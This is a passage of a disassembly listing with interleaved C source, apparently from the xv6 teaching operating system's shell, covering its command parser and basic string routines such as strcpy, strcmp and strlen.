6fc: 8b 45 f4 mov -0xc(%ebp),%eax
6ff: 0f b6 00 movzbl (%eax),%eax
702: 0f be c0 movsbl %al,%eax
705: 83 ec 08 sub $0x8,%esp
708: 50 push %eax
709: ff 75 10 pushl 0x10(%ebp)
70c: e8 55 06 00 00 call d66 <strchr>
711: 83 c4 10 add $0x10,%esp
714: 85 c0 test %eax,%eax
716: 74 07 je 71f <peek+0x6f>
718: b8 01 00 00 00 mov $0x1,%eax
71d: eb 05 jmp 724 <peek+0x74>
71f: b8 00 00 00 00 mov $0x0,%eax
}
724: c9 leave
725: c3 ret
00000726 <parsecmd>:
struct cmd *parseexec(char**, char*);
struct cmd *nulterminate(struct cmd*);
struct cmd*
parsecmd(char *s)
{
726: 55 push %ebp
727: 89 e5 mov %esp,%ebp
729: 53 push %ebx
72a: 83 ec 14 sub $0x14,%esp
char *es;
struct cmd *cmd;
es = s + strlen(s);
72d: 8b 5d 08 mov 0x8(%ebp),%ebx
730: 8b 45 08 mov 0x8(%ebp),%eax
733: 83 ec 0c sub $0xc,%esp
736: 50 push %eax
737: e8 e9 05 00 00 call d25 <strlen>
73c: 83 c4 10 add $0x10,%esp
73f: 01 d8 add %ebx,%eax
741: 89 45 f4 mov %eax,-0xc(%ebp)
cmd = parseline(&s, es);
744: 83 ec 08 sub $0x8,%esp
747: ff 75 f4 pushl -0xc(%ebp)
74a: 8d 45 08 lea 0x8(%ebp),%eax
74d: 50 push %eax
74e: e8 61 00 00 00 call 7b4 <parseline>
753: 83 c4 10 add $0x10,%esp
756: 89 45 f0 mov %eax,-0x10(%ebp)
peek(&s, es, "");
759: 83 ec 04 sub $0x4,%esp
75c: 68 91 14 00 00 push $0x1491
761: ff 75 f4 pushl -0xc(%ebp)
764: 8d 45 08 lea 0x8(%ebp),%eax
767: 50 push %eax
768: e8 43 ff ff ff call 6b0 <peek>
76d: 83 c4 10 add $0x10,%esp
if(s != es){
770: 8b 45 08 mov 0x8(%ebp),%eax
773: 3b 45 f4 cmp -0xc(%ebp),%eax
776: 74 26 je 79e <parsecmd+0x78>
printf(2, "leftovers: %s\n", s);
778: 8b 45 08 mov 0x8(%ebp),%eax
77b: 83 ec 04 sub $0x4,%esp
77e: 50 push %eax
77f: 68 92 14 00 00 push $0x1492
784: 6a 02 push $0x2
786: e8 d3 08 00 00 call 105e <printf>
78b: 83 c4 10 add $0x10,%esp
panic("syntax");
78e: 83 ec 0c sub $0xc,%esp
791: 68 a1 14 00 00 push $0x14a1
796: e8 13 fc ff ff call 3ae <panic>
79b: 83 c4 10 add $0x10,%esp
}
nulterminate(cmd);
79e: 83 ec 0c sub $0xc,%esp
7a1: ff 75 f0 pushl -0x10(%ebp)
7a4: e8 eb 03 00 00 call b94 <nulterminate>
7a9: 83 c4 10 add $0x10,%esp
return cmd;
7ac: 8b 45 f0 mov -0x10(%ebp),%eax
}
7af: 8b 5d fc mov -0x4(%ebp),%ebx
7b2: c9 leave
7b3: c3 ret
000007b4 <parseline>:
struct cmd*
parseline(char **ps, char *es)
{
7b4: 55 push %ebp
7b5: 89 e5 mov %esp,%ebp
7b7: 83 ec 18 sub $0x18,%esp
struct cmd *cmd;
cmd = parsepipe(ps, es);
7ba: 83 ec 08 sub $0x8,%esp
7bd: ff 75 0c pushl 0xc(%ebp)
7c0: ff 75 08 pushl 0x8(%ebp)
7c3: e8 99 00 00 00 call 861 <parsepipe>
7c8: 83 c4 10 add $0x10,%esp
7cb: 89 45 f4 mov %eax,-0xc(%ebp)
while(peek(ps, es, "&")){
7ce: eb 23 jmp 7f3 <parseline+0x3f>
gettoken(ps, es, 0, 0);
7d0: 6a 00 push $0x0
7d2: 6a 00 push $0x0
7d4: ff 75 0c pushl 0xc(%ebp)
7d7: ff 75 08 pushl 0x8(%ebp)
7da: e8 80 fd ff ff call 55f <gettoken>
7df: 83 c4 10 add $0x10,%esp
cmd = backcmd(cmd);
7e2: 83 ec 0c sub $0xc,%esp
7e5: ff 75 f4 pushl -0xc(%ebp)
7e8: e8 33 fd ff ff call 520 <backcmd>
7ed: 83 c4 10 add $0x10,%esp
7f0: 89 45 f4 mov %eax,-0xc(%ebp)
parseline(char **ps, char *es)
{
struct cmd *cmd;
cmd = parsepipe(ps, es);
while(peek(ps, es, "&")){
7f3: 83 ec 04 sub $0x4,%esp
7f6: 68 a8 14 00 00 push $0x14a8
7fb: ff 75 0c pushl 0xc(%ebp)
7fe: ff 75 08 pushl 0x8(%ebp)
801: e8 aa fe ff ff call 6b0 <peek>
806: 83 c4 10 add $0x10,%esp
809: 85 c0 test %eax,%eax
80b: 75 c3 jne 7d0 <parseline+0x1c>
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
80d: 83 ec 04 sub $0x4,%esp
810: 68 aa 14 00 00 push $0x14aa
815: ff 75 0c pushl 0xc(%ebp)
818: ff 75 08 pushl 0x8(%ebp)
81b: e8 90 fe ff ff call 6b0 <peek>
820: 83 c4 10 add $0x10,%esp
823: 85 c0 test %eax,%eax
825: 74 35 je 85c <parseline+0xa8>
gettoken(ps, es, 0, 0);
827: 6a 00 push $0x0
829: 6a 00 push $0x0
82b: ff 75 0c pushl 0xc(%ebp)
82e: ff 75 08 pushl 0x8(%ebp)
831: e8 29 fd ff ff call 55f <gettoken>
836: 83 c4 10 add $0x10,%esp
cmd = listcmd(cmd, parseline(ps, es));
839: 83 ec 08 sub $0x8,%esp
83c: ff 75 0c pushl 0xc(%ebp)
83f: ff 75 08 pushl 0x8(%ebp)
842: e8 6d ff ff ff call 7b4 <parseline>
847: 83 c4 10 add $0x10,%esp
84a: 83 ec 08 sub $0x8,%esp
84d: 50 push %eax
84e: ff 75 f4 pushl -0xc(%ebp)
851: e8 82 fc ff ff call 4d8 <listcmd>
856: 83 c4 10 add $0x10,%esp
859: 89 45 f4 mov %eax,-0xc(%ebp)
}
return cmd;
85c: 8b 45 f4 mov -0xc(%ebp),%eax
}
85f: c9 leave
860: c3 ret
00000861 <parsepipe>:
struct cmd*
parsepipe(char **ps, char *es)
{
861: 55 push %ebp
862: 89 e5 mov %esp,%ebp
864: 83 ec 18 sub $0x18,%esp
struct cmd *cmd;
cmd = parseexec(ps, es);
867: 83 ec 08 sub $0x8,%esp
86a: ff 75 0c pushl 0xc(%ebp)
86d: ff 75 08 pushl 0x8(%ebp)
870: e8 ec 01 00 00 call a61 <parseexec>
875: 83 c4 10 add $0x10,%esp
878: 89 45 f4 mov %eax,-0xc(%ebp)
if(peek(ps, es, "|")){
87b: 83 ec 04 sub $0x4,%esp
87e: 68 ac 14 00 00 push $0x14ac
883: ff 75 0c pushl 0xc(%ebp)
886: ff 75 08 pushl 0x8(%ebp)
889: e8 22 fe ff ff call 6b0 <peek>
88e: 83 c4 10 add $0x10,%esp
891: 85 c0 test %eax,%eax
893: 74 35 je 8ca <parsepipe+0x69>
gettoken(ps, es, 0, 0);
895: 6a 00 push $0x0
897: 6a 00 push $0x0
899: ff 75 0c pushl 0xc(%ebp)
89c: ff 75 08 pushl 0x8(%ebp)
89f: e8 bb fc ff ff call 55f <gettoken>
8a4: 83 c4 10 add $0x10,%esp
cmd = pipecmd(cmd, parsepipe(ps, es));
8a7: 83 ec 08 sub $0x8,%esp
8aa: ff 75 0c pushl 0xc(%ebp)
8ad: ff 75 08 pushl 0x8(%ebp)
8b0: e8 ac ff ff ff call 861 <parsepipe>
8b5: 83 c4 10 add $0x10,%esp
8b8: 83 ec 08 sub $0x8,%esp
8bb: 50 push %eax
8bc: ff 75 f4 pushl -0xc(%ebp)
8bf: e8 cc fb ff ff call 490 <pipecmd>
8c4: 83 c4 10 add $0x10,%esp
8c7: 89 45 f4 mov %eax,-0xc(%ebp)
}
return cmd;
8ca: 8b 45 f4 mov -0xc(%ebp),%eax
}
8cd: c9 leave
8ce: c3 ret
000008cf <parseredirs>:
struct cmd*
parseredirs(struct cmd *cmd, char **ps, char *es)
{
8cf: 55 push %ebp
8d0: 89 e5 mov %esp,%ebp
8d2: 83 ec 18 sub $0x18,%esp
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
8d5: e9 b6 00 00 00 jmp 990 <parseredirs+0xc1>
tok = gettoken(ps, es, 0, 0);
8da: 6a 00 push $0x0
8dc: 6a 00 push $0x0
8de: ff 75 10 pushl 0x10(%ebp)
8e1: ff 75 0c pushl 0xc(%ebp)
8e4: e8 76 fc ff ff call 55f <gettoken>
8e9: 83 c4 10 add $0x10,%esp
8ec: 89 45 f4 mov %eax,-0xc(%ebp)
if(gettoken(ps, es, &q, &eq) != 'a')
8ef: 8d 45 ec lea -0x14(%ebp),%eax
8f2: 50 push %eax
8f3: 8d 45 f0 lea -0x10(%ebp),%eax
8f6: 50 push %eax
8f7: ff 75 10 pushl 0x10(%ebp)
8fa: ff 75 0c pushl 0xc(%ebp)
8fd: e8 5d fc ff ff call 55f <gettoken>
902: 83 c4 10 add $0x10,%esp
905: 83 f8 61 cmp $0x61,%eax
908: 74 10 je 91a <parseredirs+0x4b>
panic("missing file for redirection");
90a: 83 ec 0c sub $0xc,%esp
90d: 68 ae 14 00 00 push $0x14ae
912: e8 97 fa ff ff call 3ae <panic>
917: 83 c4 10 add $0x10,%esp
switch(tok){
91a: 8b 45 f4 mov -0xc(%ebp),%eax
91d: 83 f8 3c cmp $0x3c,%eax
920: 74 0c je 92e <parseredirs+0x5f>
922: 83 f8 3e cmp $0x3e,%eax
925: 74 26 je 94d <parseredirs+0x7e>
927: 83 f8 2b cmp $0x2b,%eax
92a: 74 43 je 96f <parseredirs+0xa0>
92c: eb 62 jmp 990 <parseredirs+0xc1>
case '<':
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
92e: 8b 55 ec mov -0x14(%ebp),%edx
931: 8b 45 f0 mov -0x10(%ebp),%eax
934: 83 ec 0c sub $0xc,%esp
937: 6a 00 push $0x0
939: 6a 00 push $0x0
93b: 52 push %edx
93c: 50 push %eax
93d: ff 75 08 pushl 0x8(%ebp)
940: e8 e8 fa ff ff call 42d <redircmd>
945: 83 c4 20 add $0x20,%esp
948: 89 45 08 mov %eax,0x8(%ebp)
break;
94b: eb 43 jmp 990 <parseredirs+0xc1>
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
94d: 8b 55 ec mov -0x14(%ebp),%edx
950: 8b 45 f0 mov -0x10(%ebp),%eax
953: 83 ec 0c sub $0xc,%esp
956: 6a 01 push $0x1
958: 68 01 02 00 00 push $0x201
95d: 52 push %edx
95e: 50 push %eax
95f: ff 75 08 pushl 0x8(%ebp)
962: e8 c6 fa ff ff call 42d <redircmd>
967: 83 c4 20 add $0x20,%esp
96a: 89 45 08 mov %eax,0x8(%ebp)
break;
96d: eb 21 jmp 990 <parseredirs+0xc1>
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
96f: 8b 55 ec mov -0x14(%ebp),%edx
972: 8b 45 f0 mov -0x10(%ebp),%eax
975: 83 ec 0c sub $0xc,%esp
978: 6a 01 push $0x1
97a: 68 01 02 00 00 push $0x201
97f: 52 push %edx
980: 50 push %eax
981: ff 75 08 pushl 0x8(%ebp)
984: e8 a4 fa ff ff call 42d <redircmd>
989: 83 c4 20 add $0x20,%esp
98c: 89 45 08 mov %eax,0x8(%ebp)
break;
98f: 90 nop
parseredirs(struct cmd *cmd, char **ps, char *es)
{
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
990: 83 ec 04 sub $0x4,%esp
993: 68 cb 14 00 00 push $0x14cb
998: ff 75 10 pushl 0x10(%ebp)
99b: ff 75 0c pushl 0xc(%ebp)
99e: e8 0d fd ff ff call 6b0 <peek>
9a3: 83 c4 10 add $0x10,%esp
9a6: 85 c0 test %eax,%eax
9a8: 0f 85 2c ff ff ff jne 8da <parseredirs+0xb>
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
}
}
return cmd;
9ae: 8b 45 08 mov 0x8(%ebp),%eax
}
9b1: c9 leave
9b2: c3 ret
000009b3 <parseblock>:
struct cmd*
parseblock(char **ps, char *es)
{
9b3: 55 push %ebp
9b4: 89 e5 mov %esp,%ebp
9b6: 83 ec 18 sub $0x18,%esp
struct cmd *cmd;
if(!peek(ps, es, "("))
9b9: 83 ec 04 sub $0x4,%esp
9bc: 68 ce 14 00 00 push $0x14ce
9c1: ff 75 0c pushl 0xc(%ebp)
9c4: ff 75 08 pushl 0x8(%ebp)
9c7: e8 e4 fc ff ff call 6b0 <peek>
9cc: 83 c4 10 add $0x10,%esp
9cf: 85 c0 test %eax,%eax
9d1: 75 10 jne 9e3 <parseblock+0x30>
panic("parseblock");
9d3: 83 ec 0c sub $0xc,%esp
9d6: 68 d0 14 00 00 push $0x14d0
9db: e8 ce f9 ff ff call 3ae <panic>
9e0: 83 c4 10 add $0x10,%esp
gettoken(ps, es, 0, 0);
9e3: 6a 00 push $0x0
9e5: 6a 00 push $0x0
9e7: ff 75 0c pushl 0xc(%ebp)
9ea: ff 75 08 pushl 0x8(%ebp)
9ed: e8 6d fb ff ff call 55f <gettoken>
9f2: 83 c4 10 add $0x10,%esp
cmd = parseline(ps, es);
9f5: 83 ec 08 sub $0x8,%esp
9f8: ff 75 0c pushl 0xc(%ebp)
9fb: ff 75 08 pushl 0x8(%ebp)
9fe: e8 b1 fd ff ff call 7b4 <parseline>
a03: 83 c4 10 add $0x10,%esp
a06: 89 45 f4 mov %eax,-0xc(%ebp)
if(!peek(ps, es, ")"))
a09: 83 ec 04 sub $0x4,%esp
a0c: 68 db 14 00 00 push $0x14db
a11: ff 75 0c pushl 0xc(%ebp)
a14: ff 75 08 pushl 0x8(%ebp)
a17: e8 94 fc ff ff call 6b0 <peek>
a1c: 83 c4 10 add $0x10,%esp
a1f: 85 c0 test %eax,%eax
a21: 75 10 jne a33 <parseblock+0x80>
panic("syntax - missing )");
a23: 83 ec 0c sub $0xc,%esp
a26: 68 dd 14 00 00 push $0x14dd
a2b: e8 7e f9 ff ff call 3ae <panic>
a30: 83 c4 10 add $0x10,%esp
gettoken(ps, es, 0, 0);
a33: 6a 00 push $0x0
a35: 6a 00 push $0x0
a37: ff 75 0c pushl 0xc(%ebp)
a3a: ff 75 08 pushl 0x8(%ebp)
a3d: e8 1d fb ff ff call 55f <gettoken>
a42: 83 c4 10 add $0x10,%esp
cmd = parseredirs(cmd, ps, es);
a45: 83 ec 04 sub $0x4,%esp
a48: ff 75 0c pushl 0xc(%ebp)
a4b: ff 75 08 pushl 0x8(%ebp)
a4e: ff 75 f4 pushl -0xc(%ebp)
a51: e8 79 fe ff ff call 8cf <parseredirs>
a56: 83 c4 10 add $0x10,%esp
a59: 89 45 f4 mov %eax,-0xc(%ebp)
return cmd;
a5c: 8b 45 f4 mov -0xc(%ebp),%eax
}
a5f: c9 leave
a60: c3 ret
00000a61 <parseexec>:
struct cmd*
parseexec(char **ps, char *es)
{
a61: 55 push %ebp
a62: 89 e5 mov %esp,%ebp
a64: 83 ec 28 sub $0x28,%esp
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
a67: 83 ec 04 sub $0x4,%esp
a6a: 68 ce 14 00 00 push $0x14ce
a6f: ff 75 0c pushl 0xc(%ebp)
a72: ff 75 08 pushl 0x8(%ebp)
a75: e8 36 fc ff ff call 6b0 <peek>
a7a: 83 c4 10 add $0x10,%esp
a7d: 85 c0 test %eax,%eax
a7f: 74 16 je a97 <parseexec+0x36>
return parseblock(ps, es);
a81: 83 ec 08 sub $0x8,%esp
a84: ff 75 0c pushl 0xc(%ebp)
a87: ff 75 08 pushl 0x8(%ebp)
a8a: e8 24 ff ff ff call 9b3 <parseblock>
a8f: 83 c4 10 add $0x10,%esp
a92: e9 fb 00 00 00 jmp b92 <parseexec+0x131>
ret = execcmd();
a97: e8 5b f9 ff ff call 3f7 <execcmd>
a9c: 89 45 f0 mov %eax,-0x10(%ebp)
cmd = (struct execcmd*)ret;
a9f: 8b 45 f0 mov -0x10(%ebp),%eax
aa2: 89 45 ec mov %eax,-0x14(%ebp)
argc = 0;
aa5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
ret = parseredirs(ret, ps, es);
aac: 83 ec 04 sub $0x4,%esp
aaf: ff 75 0c pushl 0xc(%ebp)
ab2: ff 75 08 pushl 0x8(%ebp)
ab5: ff 75 f0 pushl -0x10(%ebp)
ab8: e8 12 fe ff ff call 8cf <parseredirs>
abd: 83 c4 10 add $0x10,%esp
ac0: 89 45 f0 mov %eax,-0x10(%ebp)
while(!peek(ps, es, "|)&;")){
ac3: e9 87 00 00 00 jmp b4f <parseexec+0xee>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
ac8: 8d 45 e0 lea -0x20(%ebp),%eax
acb: 50 push %eax
acc: 8d 45 e4 lea -0x1c(%ebp),%eax
acf: 50 push %eax
ad0: ff 75 0c pushl 0xc(%ebp)
ad3: ff 75 08 pushl 0x8(%ebp)
ad6: e8 84 fa ff ff call 55f <gettoken>
adb: 83 c4 10 add $0x10,%esp
ade: 89 45 e8 mov %eax,-0x18(%ebp)
ae1: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
ae5: 0f 84 84 00 00 00 je b6f <parseexec+0x10e>
break;
if(tok != 'a')
aeb: 83 7d e8 61 cmpl $0x61,-0x18(%ebp)
aef: 74 10 je b01 <parseexec+0xa0>
panic("syntax");
af1: 83 ec 0c sub $0xc,%esp
af4: 68 a1 14 00 00 push $0x14a1
af9: e8 b0 f8 ff ff call 3ae <panic>
afe: 83 c4 10 add $0x10,%esp
cmd->argv[argc] = q;
b01: 8b 4d e4 mov -0x1c(%ebp),%ecx
b04: 8b 45 ec mov -0x14(%ebp),%eax
b07: 8b 55 f4 mov -0xc(%ebp),%edx
b0a: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4)
cmd->eargv[argc] = eq;
b0e: 8b 55 e0 mov -0x20(%ebp),%edx
b11: 8b 45 ec mov -0x14(%ebp),%eax
b14: 8b 4d f4 mov -0xc(%ebp),%ecx
b17: 83 c1 08 add $0x8,%ecx
b1a: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4)
argc++;
b1e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if(argc >= MAXARGS)
b22: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
b26: 7e 10 jle b38 <parseexec+0xd7>
panic("too many args");
b28: 83 ec 0c sub $0xc,%esp
b2b: 68 f0 14 00 00 push $0x14f0
b30: e8 79 f8 ff ff call 3ae <panic>
b35: 83 c4 10 add $0x10,%esp
ret = parseredirs(ret, ps, es);
b38: 83 ec 04 sub $0x4,%esp
b3b: ff 75 0c pushl 0xc(%ebp)
b3e: ff 75 08 pushl 0x8(%ebp)
b41: ff 75 f0 pushl -0x10(%ebp)
b44: e8 86 fd ff ff call 8cf <parseredirs>
b49: 83 c4 10 add $0x10,%esp
b4c: 89 45 f0 mov %eax,-0x10(%ebp)
ret = execcmd();
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
while(!peek(ps, es, "|)&;")){
b4f: 83 ec 04 sub $0x4,%esp
b52: 68 fe 14 00 00 push $0x14fe
b57: ff 75 0c pushl 0xc(%ebp)
b5a: ff 75 08 pushl 0x8(%ebp)
b5d: e8 4e fb ff ff call 6b0 <peek>
b62: 83 c4 10 add $0x10,%esp
b65: 85 c0 test %eax,%eax
b67: 0f 84 5b ff ff ff je ac8 <parseexec+0x67>
b6d: eb 01 jmp b70 <parseexec+0x10f>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
break;
b6f: 90 nop
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
b70: 8b 45 ec mov -0x14(%ebp),%eax
b73: 8b 55 f4 mov -0xc(%ebp),%edx
b76: c7 44 90 04 00 00 00 movl $0x0,0x4(%eax,%edx,4)
b7d: 00
cmd->eargv[argc] = 0;
b7e: 8b 45 ec mov -0x14(%ebp),%eax
b81: 8b 55 f4 mov -0xc(%ebp),%edx
b84: 83 c2 08 add $0x8,%edx
b87: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4)
b8e: 00
return ret;
b8f: 8b 45 f0 mov -0x10(%ebp),%eax
}
b92: c9 leave
b93: c3 ret
00000b94 <nulterminate>:
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
b94: 55 push %ebp
b95: 89 e5 mov %esp,%ebp
b97: 83 ec 28 sub $0x28,%esp
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
b9a: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
b9e: 75 0a jne baa <nulterminate+0x16>
return 0;
ba0: b8 00 00 00 00 mov $0x0,%eax
ba5: e9 e4 00 00 00 jmp c8e <nulterminate+0xfa>
switch(cmd->type){
baa: 8b 45 08 mov 0x8(%ebp),%eax
bad: 8b 00 mov (%eax),%eax
baf: 83 f8 05 cmp $0x5,%eax
bb2: 0f 87 d3 00 00 00 ja c8b <nulterminate+0xf7>
bb8: 8b 04 85 04 15 00 00 mov 0x1504(,%eax,4),%eax
bbf: ff e0 jmp *%eax
case EXEC:
ecmd = (struct execcmd*)cmd;
bc1: 8b 45 08 mov 0x8(%ebp),%eax
bc4: 89 45 f0 mov %eax,-0x10(%ebp)
for(i=0; ecmd->argv[i]; i++)
bc7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
bce: eb 14 jmp be4 <nulterminate+0x50>
*ecmd->eargv[i] = 0;
bd0: 8b 45 f0 mov -0x10(%ebp),%eax
bd3: 8b 55 f4 mov -0xc(%ebp),%edx
bd6: 83 c2 08 add $0x8,%edx
bd9: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
bdd: c6 00 00 movb $0x0,(%eax)
return 0;
switch(cmd->type){
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
be0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
be4: 8b 45 f0 mov -0x10(%ebp),%eax
be7: 8b 55 f4 mov -0xc(%ebp),%edx
bea: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax
bee: 85 c0 test %eax,%eax
bf0: 75 de jne bd0 <nulterminate+0x3c>
*ecmd->eargv[i] = 0;
break;
bf2: e9 94 00 00 00 jmp c8b <nulterminate+0xf7>
case REDIR:
rcmd = (struct redircmd*)cmd;
bf7: 8b 45 08 mov 0x8(%ebp),%eax
bfa: 89 45 ec mov %eax,-0x14(%ebp)
nulterminate(rcmd->cmd);
bfd: 8b 45 ec mov -0x14(%ebp),%eax
c00: 8b 40 04 mov 0x4(%eax),%eax
c03: 83 ec 0c sub $0xc,%esp
c06: 50 push %eax
c07: e8 88 ff ff ff call b94 <nulterminate>
c0c: 83 c4 10 add $0x10,%esp
*rcmd->efile = 0;
c0f: 8b 45 ec mov -0x14(%ebp),%eax
c12: 8b 40 0c mov 0xc(%eax),%eax
c15: c6 00 00 movb $0x0,(%eax)
break;
c18: eb 71 jmp c8b <nulterminate+0xf7>
case PIPE:
pcmd = (struct pipecmd*)cmd;
c1a: 8b 45 08 mov 0x8(%ebp),%eax
c1d: 89 45 e8 mov %eax,-0x18(%ebp)
nulterminate(pcmd->left);
c20: 8b 45 e8 mov -0x18(%ebp),%eax
c23: 8b 40 04 mov 0x4(%eax),%eax
c26: 83 ec 0c sub $0xc,%esp
c29: 50 push %eax
c2a: e8 65 ff ff ff call b94 <nulterminate>
c2f: 83 c4 10 add $0x10,%esp
nulterminate(pcmd->right);
c32: 8b 45 e8 mov -0x18(%ebp),%eax
c35: 8b 40 08 mov 0x8(%eax),%eax
c38: 83 ec 0c sub $0xc,%esp
c3b: 50 push %eax
c3c: e8 53 ff ff ff call b94 <nulterminate>
c41: 83 c4 10 add $0x10,%esp
break;
c44: eb 45 jmp c8b <nulterminate+0xf7>
case LIST:
lcmd = (struct listcmd*)cmd;
c46: 8b 45 08 mov 0x8(%ebp),%eax
c49: 89 45 e4 mov %eax,-0x1c(%ebp)
nulterminate(lcmd->left);
c4c: 8b 45 e4 mov -0x1c(%ebp),%eax
c4f: 8b 40 04 mov 0x4(%eax),%eax
c52: 83 ec 0c sub $0xc,%esp
c55: 50 push %eax
c56: e8 39 ff ff ff call b94 <nulterminate>
c5b: 83 c4 10 add $0x10,%esp
nulterminate(lcmd->right);
c5e: 8b 45 e4 mov -0x1c(%ebp),%eax
c61: 8b 40 08 mov 0x8(%eax),%eax
c64: 83 ec 0c sub $0xc,%esp
c67: 50 push %eax
c68: e8 27 ff ff ff call b94 <nulterminate>
c6d: 83 c4 10 add $0x10,%esp
break;
c70: eb 19 jmp c8b <nulterminate+0xf7>
case BACK:
bcmd = (struct backcmd*)cmd;
c72: 8b 45 08 mov 0x8(%ebp),%eax
c75: 89 45 e0 mov %eax,-0x20(%ebp)
nulterminate(bcmd->cmd);
c78: 8b 45 e0 mov -0x20(%ebp),%eax
c7b: 8b 40 04 mov 0x4(%eax),%eax
c7e: 83 ec 0c sub $0xc,%esp
c81: 50 push %eax
c82: e8 0d ff ff ff call b94 <nulterminate>
c87: 83 c4 10 add $0x10,%esp
break;
c8a: 90 nop
}
return cmd;
c8b: 8b 45 08 mov 0x8(%ebp),%eax
}
c8e: c9 leave
c8f: c3 ret
00000c90 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
c90: 55 push %ebp
c91: 89 e5 mov %esp,%ebp
c93: 57 push %edi
c94: 53 push %ebx
asm volatile("cld; rep stosb" :
c95: 8b 4d 08 mov 0x8(%ebp),%ecx
c98: 8b 55 10 mov 0x10(%ebp),%edx
c9b: 8b 45 0c mov 0xc(%ebp),%eax
c9e: 89 cb mov %ecx,%ebx
ca0: 89 df mov %ebx,%edi
ca2: 89 d1 mov %edx,%ecx
ca4: fc cld
ca5: f3 aa rep stos %al,%es:(%edi)
ca7: 89 ca mov %ecx,%edx
ca9: 89 fb mov %edi,%ebx
cab: 89 5d 08 mov %ebx,0x8(%ebp)
cae: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
cb1: 90 nop
cb2: 5b pop %ebx
cb3: 5f pop %edi
cb4: 5d pop %ebp
cb5: c3 ret
00000cb6 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
cb6: 55 push %ebp
cb7: 89 e5 mov %esp,%ebp
cb9: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
cbc: 8b 45 08 mov 0x8(%ebp),%eax
cbf: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
cc2: 90 nop
cc3: 8b 45 08 mov 0x8(%ebp),%eax
cc6: 8d 50 01 lea 0x1(%eax),%edx
cc9: 89 55 08 mov %edx,0x8(%ebp)
ccc: 8b 55 0c mov 0xc(%ebp),%edx
ccf: 8d 4a 01 lea 0x1(%edx),%ecx
cd2: 89 4d 0c mov %ecx,0xc(%ebp)
cd5: 0f b6 12 movzbl (%edx),%edx
cd8: 88 10 mov %dl,(%eax)
cda: 0f b6 00 movzbl (%eax),%eax
cdd: 84 c0 test %al,%al
cdf: 75 e2 jne cc3 <strcpy+0xd>
;
return os;
ce1: 8b 45 fc mov -0x4(%ebp),%eax
}
ce4: c9 leave
ce5: c3 ret
00000ce6 <strcmp>:
int
strcmp(const char *p, const char *q)
{
ce6: 55 push %ebp
ce7: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
ce9: eb 08 jmp cf3 <strcmp+0xd>
p++, q++;
ceb: 83 45 08 01 addl $0x1,0x8(%ebp)
cef: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
cf3: 8b 45 08 mov 0x8(%ebp),%eax
cf6: 0f b6 00 movzbl (%eax),%eax
cf9: 84 c0 test %al,%al
cfb: 74 10 je d0d <strcmp+0x27>
cfd: 8b 45 08 mov 0x8(%ebp),%eax
d00: 0f b6 10 movzbl (%eax),%edx
d03: 8b 45 0c mov 0xc(%ebp),%eax
d06: 0f b6 00 movzbl (%eax),%eax
d09: 38 c2 cmp %al,%dl
d0b: 74 de je ceb <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
d0d: 8b 45 08 mov 0x8(%ebp),%eax
d10: 0f b6 00 movzbl (%eax),%eax
d13: 0f b6 d0 movzbl %al,%edx
d16: 8b 45 0c mov 0xc(%ebp),%eax
d19: 0f b6 00 movzbl (%eax),%eax
d1c: 0f b6 c0 movzbl %al,%eax
d1f: 29 c2 sub %eax,%edx
d21: 89 d0 mov %edx,%eax
}
d23: 5d pop %ebp
d24: c3 ret
00000d25 <strlen>:
uint
strlen(char *s)
{
d25: 55 push %ebp
d26: 89 e5 mov %esp,%ebp
d28: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
d2b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
d32: eb 04 jmp d38 <strlen+0x13>
d34: 83 45 fc 01 addl $0x1,-0x4(%ebp)
d38: 8b 55 fc mov -0x4(%ebp),%edx
d3b: 8b 45 08 mov 0x8(%ebp),%eax
d3e: 01 d0 add %edx,%eax
d40: 0f b6 00 movzbl (%eax),%eax
d43: 84 c0 test %al,%al
d45: 75 ed jne d34 <strlen+0xf>
;
return n;
d47: 8b 45 fc mov -0x4(%ebp),%eax
}
d4a: c9 leave
d4b: c3 ret
00000d4c <memset>:
void*
memset(void *dst, int c, uint n)
{
d4c: 55 push %ebp
